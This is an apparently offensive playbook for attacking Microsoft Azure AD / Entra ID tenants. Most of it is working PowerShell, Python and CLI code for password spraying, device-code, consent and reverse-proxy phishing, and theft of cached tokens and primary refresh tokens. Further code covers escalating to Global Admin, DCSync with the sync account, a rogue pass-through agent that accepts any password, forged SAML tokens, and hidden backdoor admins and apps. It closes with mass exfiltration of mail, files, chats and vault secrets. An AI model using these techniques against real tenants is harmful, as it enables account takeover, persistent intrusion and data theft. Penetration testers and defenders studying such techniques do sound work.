What is Azure AD / Entra ID?
Azure Active Directory (now rebranded as Microsoft Entra ID) is Microsoft's cloud-based identity and access management service. It is the authentication backbone for every Microsoft cloud product — Microsoft 365, Azure, Teams, SharePoint, Intune, and any third-party SaaS app that uses "Sign in with Microsoft." Almost every enterprise runs it, which makes it the single most impactful identity attack surface in corporate environments.
Unlike traditional on-premises Active Directory which manages machines and users inside a corporate network, Azure AD manages cloud identities and delegates access to cloud resources through tokens. Understanding its components is essential before you can attack it effectively.
The Token Model — How Auth Actually Works
Every Azure AD attack ultimately targets tokens. When a user authenticates, Azure AD issues a hierarchy of tokens. Understanding this hierarchy tells you exactly what to steal and why each token is valuable.
Tools & Environment Setup
Get your attack environment ready before the engagement. Each tool below serves a distinct purpose. You don't need every one for every engagement — learn what each does so you can reach for the right one.
PowerShell Modules
# AADInternals — deepest Azure AD attack toolkit (recon, token ops, sync abuse, PTA spy)
Install-Module AADInternals -Scope CurrentUser -Force
# Az PowerShell — official Azure resource management
Install-Module Az -Scope CurrentUser -Force
# AzureAD — legacy but still needed for some enumeration
Install-Module AzureAD -Scope CurrentUser -Force
# Hawk — Microsoft 365 threat hunting / attack logging
Install-Module Hawk -Scope CurrentUser -Force
Python & CLI Tools
# Azure CLI (primary management interface)
winget install Microsoft.AzureCLI # Windows
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash # Debian/Ubuntu
# ROADtools — recon, token exchange, PRT ops, device enrollment
pip install roadtools roadtx
# o365creeper — unauthenticated user enumeration
git clone https://github.com/LMGsec/o365creeper
pip install requests
# GraphSpy — interactive Graph API browser (post-auth)
git clone https://github.com/RedByte1337/GraphSpy
pip install -r GraphSpy/requirements.txt
# ScoutSuite — cloud misconfiguration audit
pip install scoutsuite
Binaries
# AzureHound — BloodHound collector for Azure AD
# Download: https://github.com/BloodHoundAD/AzureHound/releases
chmod +x azurehound && ./azurehound --help
# Evilginx2 — AiTM reverse proxy phishing
# Download: https://github.com/kgretzky/evilginx2/releases
chmod +x evilginx2
# MSOLSpray (PowerShell)
git clone https://github.com/dafthack/MSOLSpray
Reconnaissance (No Credentials Required)
What are we doing and why?
Before touching any authentication endpoint, we map the target's Azure AD environment using only public information. The goal is to answer three questions: What tenant does this company use? — Which email addresses are valid accounts? — What Azure services are exposed? All of this is achievable without credentials and without generating any authentication events in the target's sign-in logs.
Tenant Enumeration — Who Are We Targeting?
Every Azure AD organization is a tenant with a unique ID and one or more verified domain names. Before anything else, we identify the tenant to understand its size, federation type, and authentication setup. A Federated tenant uses ADFS or Pass-Through Authentication — meaning passwords are validated on-prem. A Managed tenant uses cloud-only password hashes. This matters for which attacks you can use.
# Full passive recon — tenant ID, domains, MDI, federation, Intune state
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Returns: TenantID, TenantBrand, AuthUrl, MDI, HasCloudMX, CloudMXRecord...
# Get tenant ID manually (no tools needed)
$oidc = Invoke-RestMethod "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"
$tenantId = ($oidc.issuer -replace "https://login.microsoftonline.com/","").TrimEnd("/")
Write-Host "Tenant ID: $tenantId"
# Is this tenant Managed (cloud PW) or Federated (ADFS/PTA)?
$realm = Invoke-RestMethod "https://login.microsoftonline.com/common/userrealm/user@target.com?api-version=2.1"
$realm | Select NameSpaceType, CloudInstanceName, FederationBrandName, AuthURL
# NameSpaceType = "Managed" → PHS | "Federated" → ADFS or PTA
# All verified domains in the tenant
Get-AADIntTenantDomains -Domain "target.com"
User Enumeration — Who Can We Spray?
Microsoft exposes an unauthenticated endpoint (GetCredentialType) that confirms whether an email address is a valid Azure AD account. This generates zero authentication events in sign-in logs — it's completely invisible to defenders. Use it to build a valid target list before any password spray.
# Single user check — returns Exists: True/False
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@target.com"
# Bulk — validate a whole list silently
Get-Content .\usernames.txt | ForEach-Object {
$r = Invoke-AADIntUserEnumerationAsOutsider -UserName $_
if ($r.Exists) { Write-Host "[VALID] $_" -ForegroundColor Green }
}
# Raw HTTP — no tools required
$body = '{"username":"user@target.com"}'
$r = Invoke-RestMethod "https://login.microsoftonline.com/common/GetCredentialType" -Method POST -Body $body -ContentType "application/json"
# IfExistsResult: 0=exists, 1=doesn't exist, 5=exists (different tenant), 6=no password set
# Python — o365creeper (faster for large lists)
python o365creeper.py -f emails.txt -o valid_emails.txt
Azure Service Discovery
# Enumerate Azure subdomains — finds exposed storage, web apps, SQL, etc.
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcompany" -Verbose
Invoke-EnumerateAzureBlobs -Base "targetcompany" -OutputFile blobs.txt
# DNS patterns to check manually
$base = "targetcompany"
@(".blob.core.windows.net",".azurewebsites.net",".vault.azure.net",
".database.windows.net",".azurefd.net",".servicebus.windows.net") | ForEach-Object {
Resolve-DnsName "$base$_" -ErrorAction SilentlyContinue | Select-Object Name, IPAddress
}
Initial Access
Password Spraying
What is password spraying?
Instead of trying many passwords against one account (which triggers lockout), we try one common password against many accounts. Azure AD Smart Lockout locks an account after 10 failures in 10 minutes by default. By waiting 30–45 minutes between rounds, we stay under the threshold indefinitely. The goal is to find at least one valid credential pair — even a low-privileged account gives us a foothold to enumerate the tenant.
# MSOLSpray — sprays via legacy MSOL endpoint
Import-Module .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\valid_users.txt -Password "Winter2026!" -Verbose
# roadtx spray — modern auth endpoint (bypasses some legacy-auth blocks)
roadtx spray -U users.txt -p "Welcome2026!" --sleep 1800 # 30-min delay between rounds
# Manual spray — modern auth, watch suberror codes
$tenantId = ""
foreach ($user in Get-Content .\users.txt) {
$body = @{ client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"; grant_type="password"; scope="https://graph.microsoft.com/.default"; username=$user; password="Winter2026!" }
try {
$t = Invoke-RestMethod "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method POST -Body $body
Write-Host "[HIT] $user" -ForegroundColor Green
} catch {
$e = ($_.ErrorDetails.Message | ConvertFrom-Json).suberror
if ($e -eq "consent_required") { Write-Host "[MFA/VALID] $user" -ForegroundColor Yellow }
# consent_required = valid creds but MFA required → still valuable info
}
Start-Sleep 5
}
Device Code Phishing
What is device code phishing?
The OAuth2 device authorization flow was designed for devices without a browser (like smart TVs). The device displays a short code and the user goes to microsoft.com/devicelogin to authenticate on another device. Attackers abuse this by: generating a device code themselves, sending that code to the victim under a pretext ("please verify your Microsoft account"), and polling Microsoft for a token while the victim — unknowingly — authenticates with their own credentials and MFA. The attacker receives a full access + refresh token. MFA is completely bypassed because the victim completed it themselves.
# Step 1: Generate device code (run as attacker)
$body = @{ client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"; scope="https://graph.microsoft.com/.default offline_access" }
$dc = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Method POST -Body $body
Write-Host "Send to victim: $($dc.message)" # includes the user_code
# Step 2: Poll for token while victim authenticates
$poll = @{ client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"; grant_type="urn:ietf:params:oauth:grant-type:device_code"; device_code=$dc.device_code }
do {
Start-Sleep 5
try { $token = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $poll; break }
catch {}
} while ($true)
$token | ConvertTo-Json | Out-File token.json
Write-Host "Got token for: $(([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(($token.access_token.Split('.')[1] + '=='))) | ConvertFrom-Json).unique_name)"
# Automated with roadtx
roadtx device -c d3590ed6-52b3-4102-aeff-aad2292ab01c -r https://graph.microsoft.com
App Consent Phishing
What is consent phishing?
You register a legitimate-looking app in your own Azure tenant, request high permissions (Mail.Read, Files.ReadWrite.All), and trick the victim into granting consent by clicking a crafted OAuth URL. Once they consent, your app receives a permanent refresh token scoped to their account — even if they reset their password, the consent grant survives.
# 1. Register app in YOUR Azure tenant → add permissions (no admin consent yet)
# 2. Craft consent URL:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize
?client_id=YOUR_APP_ID
&response_type=code
&redirect_uri=https://your-callback.com/recv
&scope=https://graph.microsoft.com/Mail.ReadWrite
https://graph.microsoft.com/Files.ReadWrite.All
offline_access openid
# 3. Victim clicks → grants consent → you receive auth_code at redirect_uri
# 4. Exchange code for tokens:
$body = @{ client_id="YOUR_APP_ID"; client_secret="YOUR_SECRET"; code="AUTH_CODE"; grant_type="authorization_code"; redirect_uri="https://your-callback.com/recv" }
$token = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $body
# refresh_token survives password resets — persistent access
AiTM Phishing (Evilginx2)
What is AiTM phishing?
Adversary-in-the-Middle sits a reverse proxy between the victim and the real Microsoft login page. The victim sees a perfect replica of the Microsoft login — because it is the real page, just proxied through your server. The victim completes their password AND their MFA. Your proxy intercepts the resulting session cookie (x-ms-RefreshTokenCredential). You replay that cookie and you are fully authenticated as the victim — MFA satisfied, Conditional Access policies bypassed.
./evilginx2 -p ./phishlets/ -developer
config domain login-secure-corp.com
config ipv4 YOUR_SERVER_IP
phishlets hostname o365 login.login-secure-corp.com
phishlets enable o365
lures create o365 && lures get-url 0
# Share lure URL in phishing email
# After victim authenticates:
sessions # View captured sessions
sessions 1 # Get tokens + cookies
Enumeration with Credentials / Token
What are we looking for?
With a valid token, we enumerate the tenant to map the attack surface: who has privileged roles, which apps have dangerous permissions, what Azure resources exist, and what RBAC roles are assigned. This enumeration drives every subsequent decision — it tells you the shortest path to Global Admin or the most valuable data to exfiltrate.
Azure CLI — Fast Enumeration
az login # or: az login -u user@target.com -p 'Password123!'
az account show && az account list --output table
az account set --subscription SUBSCRIPTION_ID
# Users, groups, apps
az ad user list --query "[].{Name:displayName,UPN:userPrincipalName,Enabled:accountEnabled,OnPrem:onPremisesSyncEnabled}" --output table
az ad group list --output table
az ad group member list --group "Global Administrators"
az ad app list --output table
az ad sp list --query "[].{Name:displayName,AppId:appId}" --output table
# RBAC — most important for PrivEsc
az role assignment list --all --query "[].{Role:roleDefinitionName,Principal:principalName,Scope:scope}" --output table
# Resources
az resource list --query "[].{Name:name,Type:type,RG:resourceGroup}" --output table
az keyvault list && az vm list --output table
Graph API — Deep Enumeration
# Get Graph token
$token = az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv
$h = @{ Authorization="Bearer $token" }
# All directory roles and who is in them (CRITICAL — run this first)
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles?`$expand=members" -Headers $h).value | Where-Object { $_.members.Count -gt 0 } | ForEach-Object {
Write-Host "`n[ROLE] $($_.displayName)" -ForegroundColor Cyan
$_.members | ForEach-Object { Write-Host " └ $($_.userPrincipalName ?? $_.displayName) [$($_.{'@odata.type'})]" }
}
# Service principals with dangerous app role assignments
$dangerPerms = @("9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8","1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9","741f803b-c850-494e-b5df-cde7c675a1ca")
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals?`$top=999" -Headers $h).value | ForEach-Object {
$sp = $_
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/$($sp.id)/appRoleAssignments" -Headers $h).value | Where-Object { $_.appRoleId -in $dangerPerms } | ForEach-Object {
Write-Host "[HIGH VALUE SP] $($sp.displayName)" -ForegroundColor Red
}
}
# Conditional Access policies — understand what we need to bypass
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" -Headers $h).value | Select displayName,state | Format-Table
AzureHound — BloodHound for Azure
# Collect all Azure AD + RBAC data
./azurehound -u user@target.com -p "Password123!" list --tenant target.onmicrosoft.com -o azhound.json
# With service principal
./azurehound -t TENANT_ID --app-id APP_ID --app-secret SECRET list -o out.json
# Upload to BloodHound → use pre-built Azure attack queries
# Key query: Find shortest path to Global Administrator role
Token Attacks
Stealing Tokens from Disk
Why are tokens on disk valuable?
Az CLI and Az PowerShell cache access tokens AND refresh tokens to disk in JSON files. A refresh token can be 90 days old but still valid. On a compromised Windows endpoint, finding the Az CLI cache means you inherit the authenticated identity of whoever ran az login — with no password needed and without triggering any authentication event.
# Az CLI token cache location (Windows)
$cache = Get-Content "$env:USERPROFILE\.azure\msal_token_cache.json" | ConvertFrom-Json
# Extract refresh tokens
$cache.RefreshToken.PSObject.Properties.Value | ForEach-Object {
Write-Host "Account: $($_.home_account_id)"
Write-Host "Token: $($_.secret.Substring(0,40))..."
}
# Linux/macOS
cat ~/.azure/msal_token_cache.json | python3 -c "
import sys,json
d=json.load(sys.stdin)
for v in d.get('RefreshToken',{}).values():
print(v.get('home_account_id','?'), v['secret'][:60])
"
FOCI — Family of Client IDs
What is FOCI and why does it matter?
Microsoft allows certain first-party apps to share a common refresh token pool called the Family of Client IDs (FOCI). A refresh token issued to the Office desktop app can be exchanged for an Azure CLI token or a Teams token — no re-authentication, no MFA, no additional consent. If you steal any FOCI refresh token, you can impersonate the victim across the entire family of Microsoft apps.
# Exchange a stolen Office refresh token for an Azure CLI management token
$body = @{
client_id = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Azure CLI (FOCI member)
grant_type = "refresh_token"
refresh_token = $stolenRefreshToken
scope = "https://management.azure.com/.default"
}
$mgmtToken = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $body
# Get Graph token from same stolen refresh token (different scope)
$body.scope = "https://graph.microsoft.com/.default"
$graphToken = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $body
# roadtx makes FOCI exchange one command
roadtx gettokens --refresh-token STOLEN_RT -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 -r https://management.azure.com/
PRT (Primary Refresh Token) Abuse
What is the PRT and why is it the crown jewel?
The PRT is a device-bound, long-lived (14-day) SSO token that lives in protected memory on Azure AD Joined and Hybrid Joined Windows machines. When a user opens any Microsoft app — Outlook, Teams, SharePoint — Windows silently presents the PRT to get an app-specific access token without prompting for password or MFA. MFA was already satisfied when the device was enrolled. If you steal the PRT and its session key from memory, you can impersonate the user across every Microsoft service with no further authentication, from any machine.
# PRTs live in LSASS memory (CloudAP SSP) → requires SYSTEM or local admin
# Method 1: Mimikatz cloudap (requires SYSTEM)
# privilege::debug
# sekurlsa::cloudap → dumps PRT + encrypted session key
# Method 2: ROADtoken (userland, local admin)
.\ROADtoken.exe /bprt # Dumps Bootstrap PRT from CloudAP
# Method 3: Steal SSO cookie from browser (no tools)
# In Chrome/Edge → DevTools → Application → Cookies → login.microsoftonline.com
# Copy cookie: x-ms-RefreshTokenCredential → this IS the PRT cookie
# Use PRT to get Graph token (AADInternals)
$prtToken = New-AADIntUserPRTToken -RefreshToken $prt -SessionKey $sessionKey -GetNonce
$accessToken = Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
# Replay PRT via browser cookie (no tools — works against CAE too)
# Add cookie name=x-ms-RefreshTokenCredential to login.microsoftonline.com in DevTools
# Navigate to any Microsoft 365 app → instantly authenticated as victim
Privilege Escalation
Two separate privilege planes — understand both
Azure has two distinct access control systems that are often confused. Azure AD roles (Global Admin, Application Admin, etc.) govern identity — who can manage users, reset passwords, control apps. Azure RBAC roles (Owner, Contributor) govern resources — who can control VMs, storage accounts, and Key Vaults. Compromising one does not automatically give you the other, but there are well-known bridges between them (automation accounts, managed identities, app secrets).
Azure AD Role Abuse
# Find all members of high-value roles
Import-Module AADInternals
$highRoles = @("Global Administrator","Privileged Role Administrator","Application Administrator",
"Cloud Application Administrator","Authentication Administrator","Hybrid Identity Administrator")
$highRoles | ForEach-Object {
$members = Get-AADIntAzureADRoleMembers -RoleName $_
if ($members) { Write-Host "[ROLE] $_ ($($members.Count) members)" -ForegroundColor Cyan; $members | Select UserPrincipalName }
}
# Assign Global Admin to your account (requires Privileged Role Admin)
$ref = @{ "@odata.id"="https://graph.microsoft.com/v1.0/directoryObjects/YOUR_USER_OBJECT_ID" } | ConvertTo-Json
Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Method POST -Headers $h -Body $ref -ContentType "application/json"
Service Principal Permission Abuse
# A service principal with RoleManagement.ReadWrite.Directory can make itself Global Admin
# First: find SPs with this permission
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals?`$top=999" -Headers $h).value | ForEach-Object {
$sp = $_
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/$($sp.id)/appRoleAssignments" -Headers $h).value | Where-Object { $_.appRoleId -eq "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" } | ForEach-Object {
Write-Host "[JACKPOT] $($sp.displayName) has RoleManagement.ReadWrite.Directory" -ForegroundColor Red
}
}
# If you control such an SP → get its token → assign yourself Global Admin
$spToken = (Invoke-RestMethod "https://login.microsoftonline.com/TENANT/oauth2/v2.0/token" -Method POST -Body @{client_id=SP_APPID;client_secret=SP_SECRET;grant_type="client_credentials";scope="https://graph.microsoft.com/.default"}).access_token
$spH = @{ Authorization="Bearer $spToken"; "Content-Type"="application/json" }
$roleBody = @{ "@odata.type"="#microsoft.graph.unifiedRoleAssignment"; roleDefinitionId="62e90394-69f5-4237-9190-012177145e10"; principalId="YOUR_USER_ID"; directoryScopeId="/" } | ConvertTo-Json
Invoke-RestMethod "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" -Method POST -Headers $spH -Body $roleBody
Managed Identity from Inside a VM
# From inside an Azure VM, Function, or Container — no credentials needed
$imds = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource="
# Get Azure management token
$mgmtToken = (Invoke-RestMethod "$($imds)https://management.azure.com/" -Headers @{Metadata="true"}).access_token
# Get Graph token
$graphToken = (Invoke-RestMethod "$($imds)https://graph.microsoft.com/" -Headers @{Metadata="true"}).access_token
# Check what subscriptions this identity can reach
Invoke-RestMethod "https://management.azure.com/subscriptions?api-version=2021-04-01" -Headers @{Authorization="Bearer $mgmtToken"}
# If Contributor → escalate to Owner by assigning yourself User Access Administrator
New-AzRoleAssignment -SignInName attacker@target.com -RoleDefinitionName "Owner" -Scope "/subscriptions/SUB_ID"
Hybrid Environment Attacks
What is a hybrid environment?
Most enterprises don't run Azure AD in isolation. They run hybrid — an on-premises Active Directory synchronized to Azure AD via Azure AD Connect. This creates powerful bidirectional attack paths: compromise an Azure AD account and pivot to on-prem domain controllers, or compromise the sync server and take over the cloud tenant. Hybrid environments are the most dangerous configuration because a single compromise can cascade across both planes.
Azure AD Connect — MSOL Account DCSync
Why is the MSOL_ account the most dangerous on-prem account?
Azure AD Connect creates a special sync account in on-prem AD (named MSOL_xxxxxxxx or AADConnect_xxxxxxxx) that has DCSync replication rights on every domain controller. This is required so it can sync password hashes to the cloud. If an attacker compromises this account — which has a long, complex auto-generated password stored in the ADSync database — they can DCSync every NTLM hash in the domain, including the krbtgt account for Golden Ticket attacks.
# Step 1: Find the MSOL sync account
Get-ADUser -Filter { SamAccountName -like "MSOL_*" -or SamAccountName -like "AADConnect_*" } -Properties Description | Select SamAccountName, Description
# Step 2: Decrypt credentials from ADSync database (requires local admin on AAD Connect server)
Import-Module AADInternals
$creds = Get-AADIntSyncCredentials # Returns plaintext username + password!
Write-Host "Account: $($creds.Username)"
Write-Host "Password: $($creds.Password)"
# Step 3: DCSync with MSOL_ account (from any domain-joined machine)
# Impacket (Linux)
python3 secretsdump.py DOMAIN/MSOL_xxxxxxxx:'PlaintextPassword'@DC01.domain.local -just-dc-ntlm
# Or via Mimikatz with runas
runas /netonly /user:DOMAIN\MSOL_xxxxxxxx powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
# Bonus — reset any Azure AD user's password via sync account (no on-prem change!)
$syncToken = Get-AADIntAccessTokenForAADGraph -Credentials (New-Object PSCredential($creds.Username,($creds.Password|ConvertTo-SecureString -AsPlainText -Force))) -SaveToCache
Set-AADIntUserPassword -SourceAnchor "USER_IMMUTABLE_ID" -Password "NewP@ss2026!" -AccessToken $syncToken
Pass-Through Authentication Backdoor
What is a PTA backdoor?
With Pass-Through Authentication, Azure AD doesn't store password hashes in the cloud. Instead, authentication requests are routed to an on-prem PTA Agent that validates the password against AD. AADInternals can register a rogue PTA Agent — once registered, it intercepts all authentication requests and can be configured to accept any password for any user, effectively creating a universal master password for the entire tenant.
# Register a rogue PTA Agent (requires Global Admin token)
Import-Module AADInternals
Install-AADIntPTASpy -AccessToken $globalAdminToken
# Mode 1: Log all credentials being authenticated
Start-AADIntPTASpy
Get-AADIntPTASpyLog | Format-Table TimeStamp, UserName, Password
# Mode 2: Accept ANY password for ANY user
Set-AADIntPTASpyMode -Mode AcceptAll # Master key for entire tenant
Golden SAML (ADFS Environments)
What is Golden SAML?
Organizations using Active Directory Federation Services (ADFS) for authentication sign SAML tokens with a certificate stored on the ADFS server. If you can export this certificate (requires admin on the ADFS server), you can forge SAML tokens claiming to be any user in the organization — including Global Administrators — and they will be cryptographically valid. This is Azure AD's equivalent of a Kerberos Golden Ticket.
# Export ADFS signing certificate (admin on ADFS server)
Export-AADIntADFSSigningCertificate -Filename adfs-signing.pfx
# Forge a SAML token as Global Admin (Python — ADFSpoof)
python ADFSpoof.py -b adfs-signing.pfx "pfx_password" --server sts.target.com -l target.com -u globaladmin@target.com -r urn:federation:MicrosoftOnline
# Use the forged token to get Azure AD access (AADInternals)
Import-AADIntSAMLToken -Token "BASE64_SAML_TOKEN" -SaveToCache
Persistence
Why persistence matters in Azure AD
Unlike on-prem AD where you plant persistence in the file system or registry, Azure AD persistence lives in the identity layer itself — app credentials, role assignments, guest accounts, and federated identity configurations. These survive password resets, MFA enforcement changes, and Conditional Access updates. The goal is to establish a backdoor that survives the initial compromise being discovered and remediated.
Add Credentials to Existing Service Principal
# Add a secret to a high-privilege SP you control (or can compromise)
$secretBody = @{ passwordCredential=@{ displayName="Maintenance-$(Get-Date -Format 'yyyyMM')"; endDateTime=(Get-Date).AddYears(2).ToString("yyyy-MM-ddTHH:mm:ssZ") } } | ConvertTo-Json -Depth 3
$secret = Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/SP_OBJECT_ID/addPassword" -Method POST -Headers $h -Body $secretBody -ContentType "application/json"
# Connect later with no trace back to your account
Connect-AzAccount -ServicePrincipal -Credential (New-Object PSCredential("SP_APP_ID",("$($secret.secretText)"|ConvertTo-SecureString -AsPlainText -Force))) -Tenant TENANT_ID
Backdoor App Registration (Persistent High-Privilege Access)
# Create app with RoleManagement.ReadWrite.Directory + Application.ReadWrite.All
$app = Invoke-RestMethod "https://graph.microsoft.com/v1.0/applications" -Method POST -Headers $h -ContentType "application/json" -Body (@{
displayName="Microsoft Identity Monitoring"; signInAudience="AzureADMyOrg"
requiredResourceAccess=@(@{ resourceAppId="00000003-0000-0000-c000-000000000000"
resourceAccess=@(@{id="9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8";type="Role"},@{id="1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9";type="Role"}) })
} | ConvertTo-Json -Depth 6)
$sp = Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals" -Method POST -Headers $h -Body (@{appId=$app.appId}|ConvertTo-Json) -ContentType "application/json"
$secret = Invoke-RestMethod "https://graph.microsoft.com/v1.0/applications/$($app.id)/addPassword" -Method POST -Headers $h -Body '{"passwordCredential":{"displayName":"main","endDateTime":"2028-01-01T00:00:00Z"}}' -ContentType "application/json"
Write-Host "AppId: $($app.appId) | Secret: $($secret.secretText)"
# Grant admin consent while you still have GA → this SP can now create Global Admins
Backdoor User + Role Assignment
# Create a hidden admin user
$u = Invoke-RestMethod "https://graph.microsoft.com/v1.0/users" -Method POST -Headers $h -ContentType "application/json" -Body (@{
accountEnabled=$true; displayName="Azure Support"; mailNickname="azuresupport"
userPrincipalName="azuresupport@target.onmicrosoft.com"
passwordProfile=@{ forceChangePasswordNextSignIn=$false; password="Supp0rt@2026!" }
} | ConvertTo-Json)
# Assign Global Admin
Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Method POST -Headers $h -ContentType "application/json" -Body (@{"@odata.id"="https://graph.microsoft.com/v1.0/directoryObjects/$($u.id)"}|ConvertTo-Json)
Exfiltration via Microsoft Graph
Why Graph API for exfiltration?
Microsoft Graph is the unified API for all Microsoft 365 data — email, files, Teams messages, calendar, contacts. With application-level permissions (granted via consent phishing or from a compromised high-privilege SP), you can read every user's mailbox, download all SharePoint files, and read Teams conversations — all through a single authenticated HTTP endpoint that many organizations whitelist entirely in their DLP controls.
$h = @{ Authorization="Bearer $graphToken" }
# Read user emails — search for credentials
Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/USER_ID/messages?`$search=`"password OR secret OR credential`"&`$select=subject,from,body" -Headers $h
# Download OneDrive files matching a keyword
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/USER_ID/drive/root/search(q='password')" -Headers $h).value | ForEach-Object {
Invoke-WebRequest -Uri $_.'@microsoft.graph.downloadUrl' -OutFile ".\loot\$($_.name)"
}
# Read Teams messages
$chats = (Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/USER_ID/chats" -Headers $h).value
$chats | ForEach-Object { (Invoke-RestMethod "https://graph.microsoft.com/v1.0/chats/$($_.id)/messages?`$top=50" -Headers $h).value | Select createdDateTime,@{N="From";E={$_.from.user.displayName}},@{N="Msg";E={$_.body.content -replace "<[^>]+>",""}} }
# Key Vault — from Managed Identity inside VM
$kvToken = (Invoke-RestMethod "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" -Headers @{Metadata="true"}).access_token
(Invoke-RestMethod "https://VAULT_NAME.vault.azure.net/secrets?api-version=7.4" -Headers @{Authorization="Bearer $kvToken"}).value | ForEach-Object {
$s = Invoke-RestMethod "$($_.id)?api-version=7.4" -Headers @{Authorization="Bearer $kvToken"}
Write-Host "$($_.id.Split('/')[-1]): $($s.value)"
}
Conditional Access Bypass
What is Conditional Access and why bypass it?
Conditional Access (CA) is Azure AD's policy engine. It evaluates signals at authentication time — who is the user, what device are they on, what is their location, what app are they accessing — and decides whether to grant access, require MFA, or block entirely. Most organizations have CA policies that require MFA for all users, block legacy authentication, or restrict access to compliant devices. Understanding CA is essential — it's often the only thing standing between a valid credential and a fully compromised session.
# Enumerate CA policies (requires Security Reader or higher)
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" -Headers $h).value | Where-Object {$_.state -eq "enabled"} | Select displayName,state | Format-Table
# Check trusted named locations (IPs that bypass MFA)
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" -Headers $h).value | Where-Object {$_.isTrusted} | ForEach-Object {
Write-Host "Trusted: $($_.displayName)"; $_.ipRanges | Select -Expand cidrAddress
}
Legacy Auth Bypass
IMAP, SMTP, POP3, EWS use Basic Auth — they bypass modern CA/MFA entirely if not explicitly blocked. Test with curl -u user:pass imaps://outlook.office365.com/
Token Replay
CA is evaluated at token issuance, not at every API call. A token stolen after the victim satisfied all CA requirements can be replayed from any IP, any device, bypassing all policies.
Named Location Exclusions
If certain IPs are trusted and excluded from MFA requirements, routing through those IPs bypasses MFA. Look for large CIDR ranges, public cloud IP blocks marked as trusted.
AiTM (Evilginx2)
Victim completes full auth including MFA through your proxy. You capture the post-MFA session cookie. The resulting session is already past all CA evaluation — no bypass needed.
Key Microsoft Graph Endpoints
All endpoints are prefixed with https://graph.microsoft.com/v1.0. Requires a valid Bearer token.
Dangerous Graph Permissions (Application-Level)
Permission ID Name Impact
9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 RoleManagement.ReadWrite.Directory Assign Global Admin
1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9 Application.ReadWrite.All Control all apps/SPs
741f803b-c850-494e-b5df-cde7c675a1ca User.ReadWrite.All Reset any user's password
62a82d76-70ea-41e2-9197-370581804d09 Group.ReadWrite.All Modify all groups
dc50a0fb-09a3-484d-be87-e023b12c6440 Mail.ReadWrite Read/send all email
9492366f-7969-46a4-8d15-ed1a20078fff Sites.ReadWrite.All Full SharePoint access
MITRE ATT&CK for Enterprise
| ID | Technique | Phase | Notes |
|---|---|---|---|
| T1078.004 | Valid Accounts: Cloud | Initial Access | Stolen Azure AD credentials; output of successful spray |
| T1566.002 | Phishing: Spearphishing Link | Initial Access | Device code + consent phishing links |
| T1110.003 | Password Spraying | Credential Access | Low-and-slow via MSOL or modern auth endpoints |
| T1528 | Steal Application Access Token | Credential Access | Token theft from disk cache, memory, AiTM |
| T1550.001 | Use Alternate Auth: App Token | Lateral Movement | Replaying stolen refresh/access tokens |
| T1606.002 | Forge Web Credentials: SAML | Credential Access | Golden SAML with stolen ADFS signing cert |
| T1098.001 | Account Manipulation: Credential Add | Persistence | Add secret/cert to service principal |
| T1098.003 | Account Manipulation: Add Roles | PrivEsc / Persistence | Assign Global Admin via Graph API |
| T1136.003 | Create Account: Cloud | Persistence | Create backdoor admin user or guest invite |
| T1087.004 | Account Discovery: Cloud | Discovery | Enumerate users, groups, roles via Graph |
| T1484.002 | Domain Policy Modification | Defense Evasion | PTA backdoor, federated identity addition |
| T1567.002 | Exfil to Cloud Storage | Exfiltration | Download SharePoint/OneDrive via Graph |
| T1199 | Trusted Relationship | Initial Access | ADFS federation, B2B guest, PTA agent abuse |
Tools Reference
| Tool | Best Used For | Install |
|---|---|---|
